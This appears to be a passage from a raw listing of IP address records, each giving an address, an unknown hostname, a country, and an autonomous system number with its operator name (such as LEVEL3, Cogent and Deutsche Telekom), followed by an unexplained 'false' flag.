24137 CNNIC-HNPCNET-APHeNanPingCoalGroupCN false
143.1.155.225
 unknown United States
11003 PANDGUS false
53.110.217.92
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
136.93.90.86
 unknown United States
60311 ONEFMCH false
55.111.115.52
 unknown United States
361 DNIC-ASBLK-00306-00371US false
145.5.45.239
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
89.114.239.211
 unknown Portugal
12353 VODAFONE-PTVodafonePortugalPT false
167.200.68.154
 unknown United States
2897 GEORGIA-1US false
207.190.35.130
 unknown United States
22827 SMART-CITY-OCCCUS false
49.181.71.139
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
162.113.19.0
 unknown United States
19113 DUKE-ENERGYUS false
7.182.89.210
 unknown United States
3356 LEVEL3US false
182.232.235.212
 unknown Thailand
131445 AIS3G-2100-AS-APAdvanceWirelessNetworkTH false
47.142.75.242
 unknown United States
5650 FRONTIER-FRTRUS false
198.115.125.36
 unknown United States
3356 LEVEL3US false
124.238.59.166
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
219.69.119.216
 unknown Taiwan; Republic of China (ROC)
9416 MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW false
222.234.76.132
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
140.158.166.199
 unknown United States
25709 LAMARUNIVUS false
171.244.187.92
 unknown Viet Nam
7552 VIETEL-AS-APViettelGroupVN false
146.12.0.191
 unknown United States
197938 TRAVIANGAMESDE false
129.191.96.15
 unknown United States
4192 STORTEK-INTUS false
32.150.79.150
 unknown United States
2686 ATGS-MMD-ASUS false
153.76.250.149
 unknown United States
14962 NCR-252US false
131.86.146.153
 unknown United States
27046 DNIC-ASBLK-27032-27159US false
67.129.209.241
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
177.185.26.196
 unknown Brazil
262375 DataInfoComercioeServicoLtdaBR false
6.54.61.58
 unknown United States
1464 DNIC-ASBLK-01464-01465US false
55.13.234.88
 unknown United States
346 DNIC-ASBLK-00306-00371US false
115.164.111.82
 unknown Malaysia
4818 DIGIIX-APDiGiTelecommunicationsSdnBhdMY false
84.160.109.132
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
38.58.202.180
 unknown United States
174 COGENT-174US false
194.174.47.238
 unknown Germany
702 UUNETUS false